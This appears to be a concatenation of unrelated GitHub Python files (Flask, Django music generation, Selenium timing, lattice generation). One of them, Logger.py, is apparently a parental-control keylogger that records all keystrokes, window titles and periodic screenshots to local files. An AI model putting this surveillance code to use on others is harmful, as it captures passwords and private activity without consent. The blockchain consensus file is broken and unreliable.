FROM from_to WHERE from_id = %(from_id)s and message_id = %(message_id)s;\"\n print(query)\n results = connectToMySQL(\"login\").query_db(query, data)\n print(results)\n return\n \n @classmethod\n def create_relation_message(cls, data):\n query = \"INSERT INTO from_to (from_id, to_id, message_id) values (%(form_id)s, %(to_id)s, %(message_id)s);\"\n result = connectToMySQL(\"login\").query_db(query,data)\n return result","repo_name":"StefanieCruzV/FMQprivatewall11PY","sub_path":"loginandregistration/flask_app/models/from_to.py","file_name":"from_to.py","file_ext":"py","file_size_in_byte":1642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"42693009173","text":"#!/usr/bin/python3\nimport random\nnumber = random.randint(-10000, 10000)\nunit = number % 10\nif number < 0:\n unit -= 10\nif unit == 0:\n print(\"Last digit of {1} is {0} and is 0\".format(unit, number))\nelif unit > 5:\n print(\"Last digit of {} is {} and is greater than 5\".format(number, unit))\nelif unit < 6:\n print(f\"Last digit of {number} is {unit} and is less than 6 and not 0\")\n","repo_name":"Manuel-7tin/alx-higher_level_programming","sub_path":"0x01-python-if_else_loops_functions/1-last_digit.py","file_name":"1-last_digit.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"72592898919","text":"import sys\nimport time\nfrom pynput.keyboard import Listener\nimport pyautogui\nimport datetime\nimport threading\nimport os\nfrom win32gui import GetWindowText, GetForegroundWindow\n\nlock = threading.Lock()\n\n\ndef get_dir_name():\n now = datetime.datetime.now()\n parent_dir = str(now.strftime('%d-%m-%Y'))\n log_dir = os.path.join(parent_dir, 'log')\n img_dir = os.path.join(parent_dir, 'img')\n return [log_dir, img_dir]\n\n\ndef get_img_path():\n now = datetime.datetime.now().strftime('%d-%m-%Y %H;%M.png')\n path = get_dir_name()[1]\n img_path = os.path.join(path, now)\n return img_path\n\n\ndef get_log_path():\n now = datetime.datetime.now().strftime('%d-%m-%Y')\n path = get_dir_name()[0]\n log_path = os.path.join(path, now)\n return log_path\n\n\ndef create_dir():\n now = datetime.datetime.now()\n parent_dir = str(now.strftime('%d-%m-%Y'))\n log_dir = os.path.join(parent_dir, 'log')\n img_dir = os.path.join(parent_dir, 'img')\n os.makedirs(log_dir, exist_ok=True)\n os.makedirs(img_dir, exist_ok=True)\n\n\ndef screenshot():\n img_path = get_img_path()\n if not os.path.isfile(img_path):\n curr_screen = pyautogui.screenshot()\n curr_screen.save(get_img_path())\n\n\ndef get_max_char():\n return 50\n\n\nclass Logger:\n def __init__(self):\n self.max_char = get_max_char()\n self.log_time = True\n self.running = False\n self.listener = Listener(on_press=self.on_press)\n self.count_down_thread = threading.Thread(target=self.count_down, args=(60,), daemon=True)\n self.switch = False\n\n create_dir()\n\n def count_down(self, sec):\n last_window = \"\"\n file_name = f'{get_log_path()} apps.txt'\n screenshot()\n sec = 60\n while self.switch:\n active_window = GetWindowText(GetForegroundWindow())\n now = datetime.datetime.now().strftime('\\n[%H:%M] ')\n if active_window != last_window:\n last_window = active_window\n with open(file_name, 'a', encoding=\"utf-8\") as file:\n if active_window:\n file.write(now)\n file.write(active_window)\n sec -= 1\n time.sleep(1)\n if sec == 0:\n sec = 60\n screenshot()\n lock.acquire()\n self.log_time = True\n lock.release()\n return False\n\n def write_to_log(self, key):\n file_name = f'{get_log_path()} key.txt'\n with open(file_name, 'a') as file:\n if self.log_time:\n now = datetime.datetime.now().strftime('\\n\\n[%H:%M]\\n')\n file.write(now)\n lock.acquire()\n self.max_char = get_max_char()\n self.log_time = False\n lock.release()\n key = str(key).replace(\"'\", \"\")\n file.write(key)\n self.max_char -= 1\n if self.max_char == 0:\n self.max_char = get_max_char()\n file.write('\\n')\n else:\n file.write(' ')\n\n def on_press(self, key):\n if not self.switch:\n return False\n self.write_to_log(key)\n try:\n print('alphanumeric key {0} pressed'.format(key.char))\n\n except AttributeError:\n print('special key {0} pressed'.format(key))\n\n def keylogger(self):\n if not self.running:\n self.running = True\n self.listener.start()\n\n def begin(self):\n self.switch = True\n self.count_down_thread.start()\n self.keylogger()\n\n def end(self):\n lock.acquire()\n self.switch = False\n lock.release()","repo_name":"SilentCatD/Parental-Control","sub_path":"Logger.py","file_name":"Logger.py","file_ext":"py","file_size_in_byte":3708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"6924627942","text":"#!/usr/bin/env python2\nfrom numpy import array\nfrom numpy.random import randn\nimport sys\nfrom StringIO import StringIO\n\ndivs = 10\ndm1 = divs - 1\n\nif __name__ == '__main__':\n if len(sys.argv) < 3:\n print('usage: %s ' % sys.argv[0])\n sys.exit(1)\n s = StringIO()\n struct = sys.argv[1]\n amp = float(sys.argv[2])\n atoms = 0\n if struct == 'BCC':\n for x in range(divs):\n for y in range(divs):\n for z in range(divs):\n atoms += 1\n point = array([x, y, z]) + amp * randn(3)\n s.write('A %f %f %f\\n' % tuple(point))\n if True: #x != dm1 and y != dm1 and z != dm1:\n atoms += 1\n point = 0.5 + array([x, y, z]) + amp * randn(3)\n s.write('B %f %f %f\\n' % tuple(point))\n elif struct == 'FCC':\n for x in range(divs):\n for y in range(divs):\n for z in range(divs):\n atoms += 1\n point = array([x, y, z]) + amp * randn(3)\n s.write('A %f %f %f\\n' % tuple(point))\n if True: #x != dm1 and y != dm1:\n atoms += 1\n point = array([0.5, 0.5, 0]) + array([x, y, z]) + amp * randn(3)\n s.write('B %f %f %f\\n' % tuple(point))\n if True: #x != dm1 and z != dm1:\n atoms += 1\n point = array([0.5, 0, 0.5]) + array([x, y, z]) + amp * randn(3)\n s.write('B %f %f %f\\n' % tuple(point))\n if True: #y != dm1 and z != dm1:\n atoms += 1\n point = array([0, 0.5, 0.5]) + array([x, y, z]) + amp * randn(3)\n s.write('B %f %f %f\\n' % tuple(point))\n elif struct == 'SC':\n for x in range(divs):\n for y in range(divs):\n for z in range(divs):\n atoms += 1\n point = array([x, y, z]) + amp * randn(3)\n s.write('A %f %f %f\\n' % tuple(point))\n\n sys.stdout.write('%d\\ncomment\\n' % atoms)\n sys.stdout.write(s.getvalue())\n\n","repo_name":"liquid-phynix/mcstar-scripts","sub_path":"genstruct.py","file_name":"genstruct.py","file_ext":"py","file_size_in_byte":2257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"21835071905","text":"import urllib2\nimport mimetypes\nimport tempfile\nimport os\nimport PIL.Image\nimport imghdr\nimport base64\nimport StringIO\n\nfrom tuckshop.core.redis_connection import RedisConnection\nfrom tuckshop.core.tuckshop_exception import TuckshopException\n\n\nclass Image(object):\n \"\"\"Provides methods for obtaining and caching inventory images\"\"\"\n\n DEFAULT_IMAGE = 'http://www.irishdist.ie/wp-content/uploads/2015/07/noimage-400x400.jpg'\n\n @property\n def cache_key(self):\n \"\"\"Returns the redis key for cached image for the inventory object\"\"\"\n return 'Image_Data_%s' % self.inventory.id\n\n @property\n def mime_type_cache_key(self):\n return 'Image_Mime_%s' % self.inventory.id\n\n @property\n def resized_cache_key(self):\n return 'Image_Thumbnail_%s' % self.inventory.id\n\n def __init__(self, inventory):\n \"\"\"Sets up the object\"\"\"\n self.inventory = inventory\n\n def _getImageUrl(self):\n # Return the image URL, if it exists. Else, return a default image\n return self.inventory.image_url if self.inventory.image_url else self.DEFAULT_IMAGE\n\n def getSrc(self):\n \"\"\"Returns the html 'src' data for the image\"\"\"\n mime_type, image_data = self.getImage()\n image_data = base64.b64encode(image_data)\n return 'data:image/%s;base64,%s' % (mime_type, image_data)\n\n @staticmethod\n def downloadImage(url):\n \"\"\"Attempts to open the image url\"\"\"\n try:\n image_file = urllib2.urlopen(url)\n except:\n return None\n\n # If the return code is not 200 - OK, return None\n if image_file.getcode() != 200:\n return None\n return image_file\n\n def getImage(self, refresh_cache=False):\n \"\"\"Obtains and returns the image data for the\n object\"\"\"\n if (not RedisConnection.exists(self.cache_key) or\n not RedisConnection.exists(self.mime_type_cache_key) or\n refresh_cache):\n # Download image\n image_file = Image.downloadImage(self._getImageUrl())\n\n if not image_file:\n image_file = Image.downloadImage(self.DEFAULT_IMAGE)\n\n if not image_file:\n raise TuckshopException('Could not obtain image for %s or default image' % self.inventory.id)\n\n image_data = image_file.read()\n\n # Create temp file to obtain mime-type\n temp_file = tempfile.NamedTemporaryFile(mode='w', delete=False)\n temp_file_path = temp_file.name\n temp_file.write(image_data)\n temp_file.close()\n mime_type = imghdr.what(temp_file_path)\n os.unlink(temp_file_path)\n\n # If the mime-type of the image was recognised,\n # store the image in the redis database\n if mime_type:\n RedisConnection.set(self.cache_key, image_data)\n RedisConnection.set(self.mime_type_cache_key, mime_type)\n else:\n image_data = RedisConnection.get(self.cache_key)\n mime_type = RedisConnection.get(self.mime_type_cache_key)\n\n if not RedisConnection.exists(self.resized_cache_key) or refresh_cache:\n # Define thumbnail image size\n size = (150, 150)\n\n # Open image using PIL and resize\n image = PIL.Image.open(StringIO.StringIO(image_data))\n image.thumbnail(size, PIL.Image.ANTIALIAS)\n\n # Create transaprent background to put the image on\n background = PIL.Image.new('RGBA', size, (255, 255, 255, 0))\n background.paste(image, ((size[0] - image.size[0]) / 2, (size[1] - image.size[1]) / 2))\n\n # Fake filehandler and filename, so that the extension can be the same as the origin MIME type\n output = StringIO.StringIO()\n output.name = 'test.%s' % mime_type\n background.save(output)\n\n # Get value of StringIO object to save/return\n image_data = output.getvalue()\n\n # Close StringIO object\n output.close()\n\n # Update resized image in database\n RedisConnection.set(self.resized_cache_key, image_data)\n else:\n image_data = RedisConnection.get(self.resized_cache_key)\n\n # Return the mime-type and image_data\n return mime_type, image_data\n\n def getImageUrl(self):\n \"\"\"Returns an absolute URL for the image\"\"\"\n return '/item-image/%s' % self.inventory.id\n","repo_name":"MatthewJohn/Tuckshop","sub_path":"tuckshop/core/image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":4478,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"33457862668","text":"from paper1.veh_trust.consensus_v1 import *\n\ndef p2_consensus(path_file_name):\n # 读入仿真车辆的id，300地址代替50辆车\n transactions_dict = transaction_read(path_file_name)\n sorted_transactions_list = sorted(transactions_dict.items(), key=lambda x: x[0])\n flat_sorted_transactions_list = flat_transaction(sorted_transactions_list)\n waiting_blockchain_status_dict = defaultdict(dict)\n for _time_trans_ in flat_sorted_transactions_list:\n tmp_write_dict = {}\n trans_hash = _time_trans_[1]\n tmp_write_dict[\"write_time\"] = _time_trans_[0]\n tmp_write_dict[\"front_list\"] = []\n\n waiting_blockchain_status_dict[trans_hash] = copy.deepcopy(tmp_write_dict)\n\n for _time_trans2 in flat_sorted_transactions_list:\n time_trans2_list = ex_flat_sorted_transactions(_time_trans2, flat_sorted_transactions_list)\n if len(time_trans2_list) > 2:\n time_trans2_list = random.sample(time_trans2_list, 2)\n for time_trans2 in time_trans2_list:\n waiting_blockchain_status_dict[_time_trans2[1]]['front_list'].append(time_trans2)\n\n writed_blockchain_status_dict = defaultdict(dict)\n for trans_hash1, trans_chain in waiting_blockchain_status_dict.items():\n sum_behind_trust = 0\n tmp_writed_dict = {} \n tmp_writed_dict[\"write_time\"] = trans_chain[\"write_time\"]\n tmp_writed_dict[\"front_list\"] = trans_chain[\"front_list\"]\n for store_txn, chain_content in waiting_blockchain_status_dict.items():\n behind_count_score = 0\n if chain_content['write_time'] > trans_chain['write_time']:\n if trans_hash1 in chain_content['front_list']:\n behind_count_score += time_trans3[2]['trust_score']\n\n for trans2 in trans_chain[\"behind_list\"]:\n sum_behind_trust += trans2[2][\"trust_score\"]\n tmp_writed_dict[\"behind_list\"].append(trans2)\n if sum_behind_trust > threshold_op:\n tmp_writed_dict['behind_count_score'] = sum_behind_trust\n writed_blockchain_status_dict[trans_hash1] = copy.deepcopy(tmp_writed_dict)\n break\n\n pass\n\nif __name__ == \"__main__\":\n file_name = \"Transaction_100_0624_10-20.json\"\n path_file_name = \"transactions/{}\".format(file_name)\n p2_consensus(path_file_name)\n\n pass","repo_name":"forbighouse/llbc","sub_path":"paper1/veh_trust/phase2_consensus.py","file_name":"phase2_consensus.py","file_ext":"py","file_size_in_byte":2354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"30523341672","text":"from collections import deque\n\n\nN, M = map(int, input().split())\n\ncnt = [0] * (N+1)\nedge = [[] for _ in range(N+1)]\nfor _ in range(M):\n k = int(input())\n a = list(map(int, input().split()))\n for i in range(k-1):\n edge[a[i]].append(a[i+1])\n cnt[a[i+1]] += 1\n\nd = deque()\nfor i in range(1, N+1):\n if cnt[i] == 0:\n d.append(i)\n\nwhile d:\n x = d.popleft()\n for to in edge[x]:\n cnt[to] -= 1\n if cnt[to] == 0:\n d.append(to)\n\nif max(cnt[1:]) == 0:\n print('Yes')\nelse:\n print('No')","repo_name":"chikati3/Atcoder","sub_path":"abc216/D.py","file_name":"D.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"10266068019","text":"# django stuff\nfrom django.shortcuts import render, redirect\nfrom django.http import HttpResponse, HttpRequest\nfrom django.core.files import File\n\nfrom userinput.models import Composition, Track\nfrom userinput.forms import ProgressionForm, TrackForm\n\n# my music-writing functions\nfrom salieri.Sfunctions import *\n###===============================================================\n\n#### views\ndef magic(request, id):\n \"\"\"\n ==MASTER FUNCTION==\n Writes music as MIDI based on the user's commands\n\n \"\"\"\n # summon the comp and harvest the data from the django forms \n comp_obj = Composition.objects.get(id=id)\n\n # alternate data type, currently unused\n # comp_data_dict_list = list(Composition.objects.filter(id=id).values())\n # comp_data_dict = comp_data_dict_list[0] \n\n # turn the tonic and quality data into chords as lists of unclassed notes\n chord1 = chordbuild(comp_obj.chord1_tonic, comp_obj.chord1_quality)\n chord2 = chordbuild(comp_obj.chord2_tonic, comp_obj.chord2_quality)\n chord3 = chordbuild(comp_obj.chord3_tonic, comp_obj.chord3_quality)\n chord4 = chordbuild(comp_obj.chord4_tonic, comp_obj.chord4_quality)\n chord5 = chordbuild(comp_obj.chord5_tonic, comp_obj.chord5_quality)\n\n # begin the tupling, essential \n chord1_tuple = (chord1, comp_obj.chord1_bars)\n chord2_tuple = (chord2, comp_obj.chord2_bars)\n chord3_tuple = (chord3, comp_obj.chord3_bars)\n chord4_tuple = (chord4, comp_obj.chord4_bars)\n chord5_tuple = (chord5, comp_obj.chord5_bars)\n\n feed_progression = [\n chord1_tuple,\n chord2_tuple,\n chord3_tuple,\n chord4_tuple,\n chord5_tuple,\n ]\n\n #8-24-22 double check how this works\n\n ### summon the comp tracks, the len of their set, and the track model param list \n all_tracks = Track.objects.all()\n track_objs = all_tracks.filter(comp=comp_obj)\n track_params = list(Track.objects.values()[0].keys())\n \n ### make the master dict list of track data, essential to the iteration loop\n track_dict_list = []\n \n for i in range(len(track_objs)):\n new_dict = {}\n for ii in range (len(track_params)):\n new_dict.update({track_params[ii]:list(list(all_tracks.filter(comp=comp_obj).values_list())[i])[ii]}) # I can't believe this works\n track_dict_list.append(new_dict)\n\n #####================================================================\n ### MASTER LOOP ###\n\n final_comp = Mcomposition()\n for i in range(len(track_dict_list)):\n new_track = Mtrack()\n\n counter = 1\n new_track_data_dict = track_dict_list[i]\n new_track.name = new_track_data_dict[\"trackname\"]\n for tuple in feed_progression:\n skip = False\n current_chord = tuple[0] # a list of unclassed notes as strings\n if current_chord == None:\n skip = True\n current_duration = tuple[1] # a number of bars\n if current_duration in [0, \"0\"]:\n skip = True\n \n if skip == False:\n if counter == 1:\n current_style = new_track_data_dict[\"chord1_style\"]\n current_denom = new_track_data_dict[\"chord1_denom\"]\n current_mutators = listify_mutators(new_track_data_dict[\"chord1_mutators\"])\n bar_list = musicorum_ex_machina(current_chord, current_duration, current_style, current_denom, current_mutators)\n new_track = bar_adder(bar_list, new_track)\n\n elif counter == 2:\n current_style = new_track_data_dict[\"chord2_style\"]\n current_denom = new_track_data_dict[\"chord2_denom\"]\n current_mutators = listify_mutators(new_track_data_dict[\"chord2_mutators\"])\n bar_list = musicorum_ex_machina(current_chord, current_duration, current_style, current_denom, current_mutators)\n new_track = bar_adder(bar_list, new_track)\n\n elif counter == 3:\n current_style = new_track_data_dict[\"chord3_style\"]\n current_denom = new_track_data_dict[\"chord3_denom\"]\n current_mutators = listify_mutators(new_track_data_dict[\"chord3_mutators\"])\n bar_list = musicorum_ex_machina(current_chord, current_duration, current_style, current_denom, current_mutators)\n new_track = bar_adder(bar_list, new_track)\n\n elif counter == 4:\n current_style = new_track_data_dict[\"chord4_style\"]\n current_denom = new_track_data_dict[\"chord4_denom\"]\n current_mutators = listify_mutators(new_track_data_dict[\"chord4_mutators\"])\n bar_list = musicorum_ex_machina(current_chord, current_duration, current_style, current_denom, current_mutators)\n new_track = bar_adder(bar_list, new_track)\n\n elif counter == 5:\n current_style = new_track_data_dict[\"chord5_style\"]\n current_denom = new_track_data_dict[\"chord5_denom\"]\n current_mutators = listify_mutators(new_track_data_dict[\"chord5_mutators\"])\n bar_list = musicorum_ex_machina(current_chord, current_duration, current_style, current_denom, current_mutators)\n new_track = bar_adder(bar_list, new_track)\n \n counter += 1\n\n final_comp.add_track(new_track)\n\n ## sets the local path for the midi file\n directory = \"midi\"\n path = f\"{directory}/{comp_obj.name} (id{comp_obj.id}).mid\"\n # path = f\"{comp_obj.name} (id{comp_obj.id}).mid\"\n\n\n # writes the midi file locally \n midi_file_out.write_Composition(path, final_comp)\n\n ## update the Django model\n with open(path, \"rb\") as f: ## rb is write binary, need for opening the midi\n comp_obj.midi = File(f)\n comp_obj.save()\n\n context = {\n \"comp_obj\":comp_obj,\n \"data_test\":feed_progression,\n \"data_test2\":\"\",\n \"data_test3\":\"\",\n\n }\n \n # render the page\n return render(request, \"generation/finalpage.html\", context)\n # return render(request, \"generation/datatest.html\", context)\n\n ###=================================================================================","repo_name":"logandouglass/salieri-midi","sub_path":"generation/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6347,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"22878132850","text":"#!/usr/bin/env python \n\n\"\"\"\nsentry.py allows instrumenting a python/pandas program with no\nmodifications to the program itself. Note that only python 3 is supported. \n\n::\n\n sentry.py help \n sentry.py init \n sentry.py example \n sentry.py [run|commit] [-c ] \"\n\n run and commit are almost the same. The latter suggest final\n run. Only committed runs are stored/uploaded. \n\n\"\"\"\n\nimport pydatasentry \nimport os, sys \nimport imp\nimport shutil \nfrom importlib.machinery import SourceFileLoader\n\ndef load_program():\n \"\"\"\n Load the user's command line\n \"\"\"\n path = sys.argv[1] \n with open(path) as f:\n code = compile(f.read(), path, 'exec')\n ldict = locals()\n exec(code, globals(), ldict)\n\ndef load_configuration(conf): \n\n if conf is None: \n return {} \n\n conf = os.path.abspath(conf) \n\n if not os.path.exists(conf): \n print(\"Configuration file not present:\", conf) \n sys.exit()\n\n print(\"Configuration path\", conf) \n\n mod = SourceFileLoader(\"module.name\", conf).load_module() \n return mod.get_config() \n\ndef sentry_help():\n print(\"sentry: Transparently instrument pandas code\") \n print(\"sentry.py help\")\n print('sentry.py init ')\n print('sentry.py example ')\n print('sentry.py run [-c|--config ] ')\n\ndef initialize(conf): \n \"\"\"\n Initialize a sentry configuration file \n \n :param conf: sentry configuration file \n \"\"\"\n\n if os.path.exists(conf): \n print(\"File already exists. Please remove first:\", conf) \n sys.exit() \n\n rootdir = os.path.realpath(os.path.join(os.path.dirname(__file__), \"..\"))\n template = os.path.realpath(os.path.join(rootdir, \n \"share\",\n \"sentry-conf.py.template\"))\n shutil.copyfile(template, conf) \n print(\"Updated\", conf)\n\ndef example(path): \n \"\"\"\n Initialize a sentry configuration file \n \n :param conf: sentry configuration file \n \"\"\"\n\n if os.path.exists(path): \n print(\"File already exists. Please remove first:\", path) \n sys.exit() \n\n rootdir = os.path.realpath(os.path.join(os.path.dirname(__file__), \"..\"))\n template = os.path.realpath(os.path.join(rootdir, \n \"share\",\n \"basic_ols.py.template\"))\n shutil.copyfile(template, path) \n print(\"Updated\", path)\n \ndef main():\n \n offset = 1\n conf=None\n\n # Check for help...\n if len(sys.argv) == 1 or sys.argv[1] in [\"help\"]:\n sentry_help()\n sys.exit()\n\n \n cmd = sys.argv[0]\n sys.argv = sys.argv[1:]\n if sys.argv[0] in [\"init\"]: \n if len(sys.argv) < 2: \n print(\"Missing filename argument\") \n sentry_help()\n sys.exit() \n initialize(conf=sys.argv[1])\n sys.exit() \n\n if sys.argv[0] in [\"example\"]: \n if len(sys.argv) < 2: \n print(\"Missing filename argument\") \n sentry_help()\n sys.exit() \n example(path=sys.argv[1])\n\n if sys.argv[0] in [\"run\", \"commit\"]: \n runcmd = sys.argv[0]\n\n if len(sys.argv) < 2: \n print(\"Missing arguments\") \n sentry_help()\n sys.exit() \n\n # Handle the configuration option...\n sys.argv = sys.argv[1:]\n print(\"Before config\", sys.argv) \n if sys.argv[0] in [\"-c\", \"--conf\"]:\n if len(sys.argv) < 3: \n print(\"Missing configuration file\") \n sentry_help()\n sys.exit() \n\n conf = sys.argv[1] \n config = load_configuration(conf) \n sys.argv = sys.argv[2:]\n else: \n config = {} \n \n if 'spec' not in config: \n config['spec'] = {} \n config['spec']['run'] = runcmd \n\n if sys.argv[0] in [\"-m\", \"--message\"]:\n if len(sys.argv) < 3: \n print(\"Missing configuration file\") \n sentry_help()\n sys.exit() \n message = sys.argv[1] \n config['spec']['message'] = message\n sys.argv = sys.argv[2:]\n\n print(\"Found config\", config) \n pydatasentry.initialize(config) \n\n # Now load the program...\n sys.argv.insert(0, cmd) \n load_program()\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"yarapavan/pydatasentry","sub_path":"bin/sentry.py","file_name":"sentry.py","file_ext":"py","file_size_in_byte":4559,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"18"} +{"seq_id":"25973419088","text":"import os\nimport sys\nimport re\nimport json\nimport time\nimport pandas as pd\nimport numpy as np\n\nfrom selenium import webdriver\nfrom selenium.common.exceptions import TimeoutException\nfrom selenium.webdriver.chrome.service import Service\n\n\nclass ClientBrowser:\n def __init__(self, timeout, experiment_name, instance, harfiles_save_rootdir, way_of_get_metric='chrome-har-capturer', way_of_get_page_features='static_file') -> None:\n self.timeout = timeout\n self.experiment_name = experiment_name\n self.instance = instance\n self.harfiles_save_rootdir = harfiles_save_rootdir\n self.way_of_get_metric = way_of_get_metric\n self.way_of_get_page_features = way_of_get_page_features\n\n self.page_features_static = pd.read_csv('data/web_features_raw.csv')\n\n self.server_dict = {0: \"\", 1: \"as.\", 2: \"au.\", 3: \"eu.\", 4: \"sa.\", 5: \"us.\"}\n self.http2_port = 10001\n self.quic_port = 10002\n\n def get_ttfb_from_har(self, filename):\n file_try_count = 0\n while True:\n if os.path.exists(filename):\n with open(filename, 'r') as fin:\n data = json.load(fin)\n try:\n return data[\"log\"][\"entries\"][0][\"timings\"][\"wait\"]\n except:\n return -1\n if file_try_count > 400:\n return -1\n file_try_count += 1\n time.sleep(1)\n\n def get_plt_from_har(self, data, metric='LatestOKTime'):\n try:\n if metric == 'LatestOKTime':\n return self._LatestOKTime(data)\n elif metric == 'onLoadTime':\n return self._onLoadTime(data)\n elif metric == 'onContentLoadTime':\n return self._onContentLoadTime(data)\n except Exception as err:\n print(err)\n return -1\n\n def _onLoadTime(self, data):\n res = data[\"pages\"][0][\"pageTimings\"][\"onLoad\"]\n if res is None:\n return -1\n return res\n\n def _onContentLoadTime(self, data):\n res = data[\"pages\"][0][\"pageTimings\"][\"onContentLoad\"]\n if res is None:\n return -1\n return res\n\n def _LatestOKTime(self, data):\n start = self._transfer(data[\"pages\"][0][\"startedDateTime\"])\n end = start\n count = 0\n for entry in data[\"entries\"]:\n code = entry[\"response\"][\"status\"]\n if code == 404:\n continue\n count += 1\n t = self._transfer(entry[\"startedDateTime\"])+entry[\"time\"]\n dns = entry[\"timings\"][\"dns\"]\n if dns != -1:\n t -= dns\n end = max(end, t)\n # print(entry[\"startedDateTime\"], entry[\"time\"], t)\n if count == 0:\n return -1\n else:\n return end-start\n\n def _transfer(self, st): # unit: ms\n p = st.index('.')\n numeric = \"0\"+st[p:-1]\n timestamp = (self._toTimestamp(st[:p])+float(numeric))*1000\n return timestamp\n\n def _toTimestamp(self, strtime):\n timeformat = \"%Y-%m-%dT%H:%M:%S\"\n localOffset = -int(time.mktime(\n # begin time for different os:\n # Linux: 1970-01-01T00:00:00\n # Windows: 1970-01-01T08:00:00\n # Choose the respective begin time for the os you're running\n time.strptime('1970-01-01T00:00:00', timeformat)))\n # Beijing: localOffset=28800\n\n offset = localOffset\n return int(time.mktime(time.strptime(strtime, timeformat)))+localOffset-offset\n\n\nclass SeleniumBrowser(ClientBrowser):\n def __init__(self, timeout, experiment_name, instance, harfiles_save_rootdir, way_of_get_metric, way_of_get_page_features, chromedriver_dir) -> None:\n super().__init__(timeout, experiment_name, instance,\n harfiles_save_rootdir, way_of_get_metric, way_of_get_page_features)\n self.chromedriver_dir = chromedriver_dir\n\n def init_browser(self):\n # Quit existing client browser\n try:\n self.driver.quit()\n print('[info] Selenium webdriver quit successful')\n os.system(\n \"ps -ef | grep chrome | awk '{print $2}' | xargs kill -9\")\n except:\n print(\n '[warning] Selenium webdriver quit failed. There might be no existing selenium webdriver.')\n os.system(\n \"ps -ef | grep chrome | awk '{print $2}' | xargs kill -9\")\n\n try:\n # Start a new selenium webdriver\n option = webdriver.ChromeOptions()\n option.add_argument('headless')\n option.add_argument('disable-gpu')\n option.add_argument('--remote-debugging-port=9222')\n option.add_argument('--enable-quic')\n option.add_argument('--origin-to-force-quic-on=example.com:10002')\n # chromedriver_dir = '/usr/local/bin/chromedriver'\n self.driver = webdriver.Chrome(\n executable_path=self.chromedriver_dir, chrome_options=option)\n self.driver.set_page_load_timeout(self.timeout)\n self.driver.set_script_timeout(self.timeout)\n self.driver.execute_cdp_cmd(\n \"Network.setCacheDisabled\", dict({'cacheDisabled': True}))\n except:\n self.init_browser()\n\n def clean_cache(self):\n self.driver.execute_cdp_cmd(\"Network.clearBrowserCookies\", dict({}))\n self.driver.execute_cdp_cmd(\"Network.clearBrowserCache\", dict({}))\n\n def send_request(self, domain, link, protocol, server_num=0, with_performance_timing=False):\n self.http2_url_header = \"https://{}example.com:\".format(self.server_dict[server_num]) + \\\n str(self.http2_port) + \"/alexa_top240/\"\n self.quic_url_header = \"https://{}example.com:\".format(self.server_dict[server_num]) + \\\n str(self.quic_port) + \"/alexa_top240/\"\n\n if protocol == 'quic':\n url = self.quic_url_header + domain + '/' + link\n else:\n url = self.http2_url_header + domain + '/' + link\n print(url)\n try:\n if self.way_of_get_metric == 'chrome-har-capturer':\n filename = os.path.join(self.harfiles_save_rootdir, self.experiment_name, self.instance, '{}_{}_{}.har'.format(\n protocol, link[:-1], str(time.time() * 1e7)))\n os.system(\"{} --url {} --output {}\".format(\n os.path.join(str(os.environ.get(\"FLEXHTTP\")),\n \"client\", \"browse_and_cap_har.js\"),\n url,\n filename\n ))\n timing = self.get_timing_from_har(filename)\n plt = timing['tplt']\n ttfb = self.get_ttfb_from_har(filename)\n\n # Delete the har file to save disk space\n os.system(\"rm -rf {}\".format(filename))\n if with_performance_timing:\n performance_timing = self.driver.execute_script(\n \"return window.performance.timing\")\n timing.update(performance_timing)\n return plt, (timing, ttfb)\n elif self.way_of_get_metric == 'lighthouse':\n os.makedirs(os.path.join(str(os.getenv(\"HOME\")), 'exp_results',\n 'json_results', self.experiment_name, self.instance), exist_ok=True)\n filename = os.path.join(str(os.getenv(\"HOME\")), 'exp_results', 'json_results', self.experiment_name,\n self.instance, '{}_{}_{}.json'.format(protocol, link[:-1], str(time.time() * 1e7)))\n os.system(\"{} --url {} --output {}\".format(\n os.path.join(str(os.environ.get(\"FLEXHTTP\")),\n 'client', 'browse_with_lighthouse.js'),\n url,\n filename\n ))\n timing = self.get_timing_from_lighthouse_json(filename)\n # Delete the json file to save disk space\n # os.system(\"rm -rf {}\".format(filename))\n si = timing['speed_index']\n return si, timing # si used as warning when -1\n\n except Exception as err:\n print(err)\n self.init_browser()\n plt = -1\n ttfb = -1\n timing = {}\n return plt, (timing, ttfb)\n\n def get_timing_from_har(self, filename):\n file_try_count = 0\n while True:\n if os.path.exists(filename):\n with open(filename, 'r') as fin:\n data = json.load(fin)\n data = data['log']\n\n tplt = self.get_plt_from_har(data=data, metric='onLoadTime')\n nplt = self.get_plt_from_har(\n data=data, metric='LatestOKTime')\n tplt = tplt/1000 if tplt != -1 else tplt\n nplt = nplt/1000 if tplt != -1 else nplt\n break\n\n if file_try_count > 400:\n tplt, nplt = 400, 400\n break\n file_try_count += 1\n time.sleep(1)\n timing = {\n 'nplt': nplt,\n 'tplt': tplt,\n 'filename': filename\n }\n return timing\n\n def get_timing_from_lighthouse_json(self, filename):\n file_try_count = 0\n while True:\n if os.path.exists(filename):\n with open(filename, 'r') as fin:\n data = json.load(fin)\n data = data['audits']\n\n first_contentful_paint = data['first-contentful-paint']['numericValue']\n speed_index = data['speed-index']['numericValue']\n interactive = data['interactive']['numericValue']\n page_load_time = data['metrics']['details']['items'][0]['observedLoad']\n break\n\n if file_try_count > 400:\n first_contentful_paint = -1\n speed_index = -1\n interactive = -1\n break\n file_try_count += 1\n time.sleep(1)\n\n timing = {\n 'speed_index': speed_index,\n 'first_contentful_paint': first_contentful_paint,\n 'interactive': interactive,\n 'plt': page_load_time,\n 'filename': filename\n }\n return timing\n\n def get_page_features(self, link):\n if 